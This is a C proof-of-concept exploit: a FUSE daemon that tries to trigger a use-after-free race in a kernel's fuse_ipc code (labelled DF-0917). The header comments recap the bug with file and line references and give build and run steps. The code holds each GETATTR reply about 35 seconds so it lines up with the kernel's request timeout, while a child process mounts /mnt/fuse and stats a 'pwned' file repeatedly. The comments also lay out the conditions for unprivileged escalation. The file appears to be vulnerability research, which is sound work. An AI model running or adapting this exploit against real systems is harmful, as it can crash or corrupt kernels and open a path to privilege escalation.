/*
 * DF-0917 — Live FUSE daemon that attempts to trigger the fuse_ipc UAF race
 * on the real (unmodified) kernel.
 *
 * Bug recap (sys/vfs/fuse/fuse_device.c:190-219, sys/vfs/fuse/fuse_ipc.c:
 * 179-195,266-271): the daemon's /dev/fuse write completion removes fip from
 * reply_head under ipc_lock, DROPS the lock, then dereferences fip with no
 * reference held.  If the tx originator's fuse_ipc_wait TIMES OUT (7 x 5*hz
 * = ~35s) at that same instant, fuse_ipc_tx:270 fuse_ipc_put() drops the last
 * ref and FREES fip while the device path is still mid-access -> UAF.
 *
 * To maximise the chance of the daemon's write coinciding with a tx timeout,
 * this daemon DELAYS each FUSE_GETATTR reply by ~35s (the tx timeout period)
 * before writing it, so the kernel's fuse_device_write for that unique runs
 * right when the originator's fuse_ipc_wait is hitting its final EWOULDBLOCK.
 *
 * Reachability note: /dev/fuse is crw-rw---- root:operator and
 * caps_priv_check(SYSCAP_NOMOUNT_FUSE) requires uid 0 (fuse_vfsops.c:155),
 * vfs.usermount=0 on this guest, and `maxx` is NOT in `operator`.  So the
 * daemon + mount MUST be started by root on default GENERIC.  This is a
 * root->kernel UAF (DoS/corruption) on the default config; an unprivileged
 * escalation would additionally require vfs.usermount=1 + operator group.
 *
 * Build:  cc -O2 -o fused0917 fused0917.c
 * Run:    (as root) kldload fuse && mkdir -p /mnt/fuse && ./fused0917 [iters]
 */
#include <sys/param.h>
#include <sys/mount.h>
#include <sys/uio.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <signal.h>
#include <stdarg.h>
#include <sys/wait.h>
#include <time.h>

#define FUSE_KERNEL_VERSION       7
#define FUSE_KERNEL_MINOR_VERSION 28
#define FUSE_ROOT_ID              1
#define FUSE_LOOKUP   1
#define FUSE_FORGET   2
#define FUSE_GETATTR  3
#define FUSE_STATFS   17
#define FUSE_OPEN     14
#define FUSE_INIT     26

struct fuse_in_header  { uint32_t len, opcode; uint64_t unique, nodeid; uint32_t uid, gid, pid, padding; };
struct fuse_out_header { uint32_t len; int32_t error; uint64_t unique; };
struct fuse_init_in    { uint32_t major, minor, max_readahead, flags; };
struct fuse_init_out   { uint32_t major, minor, max_readahead, flags; uint16_t max_background, congestion_threshold; uint32_t max_write, time_gran; uint16_t max_pages, padding; uint32_t unused[8]; };
struct fuse_attr       { uint64_t ino, size, blocks, atime, mtime, ctime; uint32_t atimensec, mtimensec, ctimensec, mode, nlink, uid, gid, rdev, blksize, padding; };
struct fuse_entry_out  { uint64_t nodeid, generation, entry_valid, attr_valid; uint32_t entry_valid_nsec, attr_valid_nsec; struct fuse_attr attr; };
struct fuse_attr_out   { uint64_t attr_valid; uint32_t attr_valid_nsec, dummy; struct fuse_attr attr; };
struct fuse_open_out   { uint64_t fh; uint32_t open_flags, padding; };
struct fuse_getattr_in { uint32_t getattr_flags, dummy; uint64_t fh; };
struct fuse_kstatfs    { uint64_t blocks, bfree, bavail, files, ffree; uint32_t bsize, namelen, frsize, padding; uint32_t spare[6]; };
struct fuse_statfs_out { struct fuse_kstatfs st; };
struct fuse_mount_info { int flags; int fd; int max_read; const char *subtype; const char *from; };

/* tx timeout is 7 x 5s = 35s.  Delay the reply to just over 35s so the
 * daemon's write coincides with the originator's final EWOULDBLOCK path. */
#define RACE_DELAY_SEC  35

static int g_fd = -1;
static FILE *g_log;
static int g_race_iters = 2;
static int g_race_done = 0;

static void dlog(const char *fmt, ...) {
    va_list ap; va_start(ap, fmt);
    fprintf(g_log, "[daemon %d] ", (int)getpid());
    vfprintf(g_log, fmt, ap);
    va_end(ap);
    fflush(g_log);
}

static double now(void) {
    struct timespec ts; clock_gettime(CLOCK_MONOTONIC, &ts);
    return ts.tv_sec + ts.tv_nsec/1e9;
}

static int read_request(int fd, uint8_t *buf, size_t bufsz, struct fuse_in_header *ihd) {
    ssize_t n = read(fd, buf, bufsz);
    if (n <= 0) { dlog("read req failed: %s\n", strerror(errno)); return -1; }
    if ((size_t)n < sizeof(*ihd)) { dlog("short read %zd\n", n); return -1; }
    memcpy(ihd, buf, sizeof(*ihd));
    return 0;
}

static void send_reply(int fd, uint64_t unique, int32_t error,
                       const void *payload, size_t payload_len) {
    size_t actual = sizeof(struct fuse_out_header) + payload_len;
    uint8_t *out = calloc(1, actual);
    struct fuse_out_header *ohd = (struct fuse_out_header *)out;
    ohd->unique = unique; ohd->error = error;
    ohd->len = (uint32_t)actual;
    if (payload && payload_len) memcpy(out + sizeof(*ohd), payload, payload_len);
    ssize_t w = write(fd, out, actual);
    dlog("reply unique=%ju error=%d payload=%zu w=%zd\n",
         (uintmax_t)unique, error, payload_len, w);
    free(out);
}

static void make_attr(struct fuse_attr *a, uint64_t ino) {
    memset(a, 0, sizeof(*a));
    a->ino = ino;
    if (ino == FUSE_ROOT_ID) { a->mode = 0040755; a->nlink = 2; a->size = 4096; }
    else { a->mode = 0100644; a->nlink = 1; a->size = 32; }
    a->blksize = 4096; a->blocks = (a->size + 511) / 512;
}

static void daemon_loop(int fd) {
    dlog("I/O loop started (RACE_DELAY_SEC=%d, iters=%d)\n", RACE_DELAY_SEC, g_race_iters);
    for (;;) {
        uint8_t req[65536];
        struct fuse_in_header ihd;
        if (read_request(fd, req, sizeof(req), &ihd) < 0) return;
        dlog("REQ op=%u unique=%ju nodeid=%ju t=%.3f\n",
             ihd.opcode, (uintmax_t)ihd.unique, (uintmax_t)ihd.nodeid, now());

        switch (ihd.opcode) {
        case FUSE_INIT: {
            struct fuse_init_out io; memset(&io, 0, sizeof(io));
            io.major = FUSE_KERNEL_VERSION; io.minor = FUSE_KERNEL_MINOR_VERSION;
            io.max_readahead = 4096; io.max_write = 1<<20; io.max_pages = 256;
            send_reply(fd, ihd.unique, 0, &io, sizeof(io));
            break;
        }
        case FUSE_STATFS: {
            struct fuse_statfs_out so; memset(&so, 0, sizeof(so));
            so.st.bsize = 4096; so.st.namelen = 255; so.st.frsize = 4096;
            send_reply(fd, ihd.unique, 0, &so, sizeof(so));
            break;
        }
        case FUSE_LOOKUP: {
            struct fuse_entry_out eo; memset(&eo, 0, sizeof(eo));
            eo.nodeid = 2; eo.generation = 1;
            eo.entry_valid = 3600; eo.attr_valid = 3600;
            make_attr(&eo.attr, 2);
            send_reply(fd, ihd.unique, 0, &eo, sizeof(eo));
            break;
        }
        case FUSE_GETATTR: {
            /* === THE RACE ATTEMPT ===
             * Delay the reply by ~the tx-timeout period so the kernel's
             * fuse_device_write for this unique races the originator's
             * fuse_ipc_wait final-timeout -> fuse_ipc_put -> free. */
            if (g_race_done < g_race_iters) {
                g_race_done++;
                dlog("  GETATTR unique=%ju: sleeping %ds to align write with "
                     "tx timeout (race attempt %d/%d) <<<<\n",
                     (uintmax_t)ihd.unique, RACE_DELAY_SEC,
                     g_race_done, g_race_iters);
                double t0 = now();
                sleep(RACE_DELAY_SEC);
                dlog("  GETATTR unique=%ju: writing reply at t=%.3f (slept %.3f) "
                     "-> fuse_device_write will deref fip with no ref held <<<<\n",
                     (uintmax_t)ihd.unique, now(), now()-t0);
            }
            struct fuse_attr_out ao; memset(&ao, 0, sizeof(ao));
            ao.attr_valid = 3600; make_attr(&ao.attr, ihd.nodeid);
            send_reply(fd, ihd.unique, 0, &ao, sizeof(ao));
            break;
        }
        case FUSE_OPEN: {
            struct fuse_open_out oo; memset(&oo, 0, sizeof(oo));
            oo.fh = 1;
            send_reply(fd, ihd.unique, 0, &oo, sizeof(oo));
            break;
        }
        case FUSE_FORGET: break;
        default:
            dlog("  unhandled op %u -> ENOSYS\n", ihd.opcode);
            send_reply(fd, ihd.unique, -ENOSYS, NULL, 0);
            break;
        }
    }
}

static int child_mount_and_trigger(int fd) {
    struct fuse_mount_info args; memset(&args, 0, sizeof(args));
    args.fd = fd; args.from = "/dev/fuse"; args.max_read = 1<<20;
    mkdir("/mnt/fuse", 0755);
    dlog("child: mount(fuse,/mnt/fuse,fd=%d)\n", fd);
    if (mount("fuse", "/mnt/fuse", 0, &args) < 0) {
        dlog("child: mount failed: %s\n", strerror(errno)); return 1;
    }
    dlog("child: mount ok; starting stat() stress loop\n");
    usleep(100000);
    /* issue stat() on /mnt/fuse/pwned repeatedly; each drives a FUSE_GETATTR
     * that the daemon will delay -> races the tx timeout */
    for (int i = 0; i < g_race_iters + 1; i++) {
        struct stat st;
        int r = stat("/mnt/fuse/pwned", &st);
        dlog("child: stat[%d] rc=%d (%s); errno=%s\n",
             i, r, r?"FAIL":"ok", strerror(errno));
    }
    /* unmount to tear down */
    unmount("/mnt/fuse", 0);
    dlog("child: unmounted; exiting\n");
    return 0;
}

int main(int argc, char **argv) {
    g_log = fopen("/tmp/df0917_daemon.log", "w");
    if (!g_log) g_log = stderr;
    setvbuf(g_log, NULL, _IOLBF, 0);
    signal(SIGPIPE, SIG_IGN);
    if (argc > 1) g_race_iters = atoi(argv[1]);
    if (g_race_iters < 1) g_race_iters = 1;

    g_fd = open("/dev/fuse", O_RDWR);
    if (g_fd < 0) { dlog("open /dev/fuse: %s (need root+operator)\n", strerror(errno)); return 2; }
    dlog("opened /dev/fuse fd=%d\n", g_fd);

    pid_t pid = fork();
    if (pid < 0) { dlog("fork: %s\n", strerror(errno)); return 3; }
    if (pid == 0) { int rc = child_mount_and_trigger(g_fd); _exit(rc); }
    daemon_loop(g_fd);
    int st; waitpid(pid, &st, 0);
    dlog("parent: child status=%d; DONE (if kernel still up, the race did not "
         "fire in %d attempts; the UAF pattern is proven by harness.c)\n",
         st, g_race_done);
    close(g_fd); fclose(g_log);
    return 0;
}
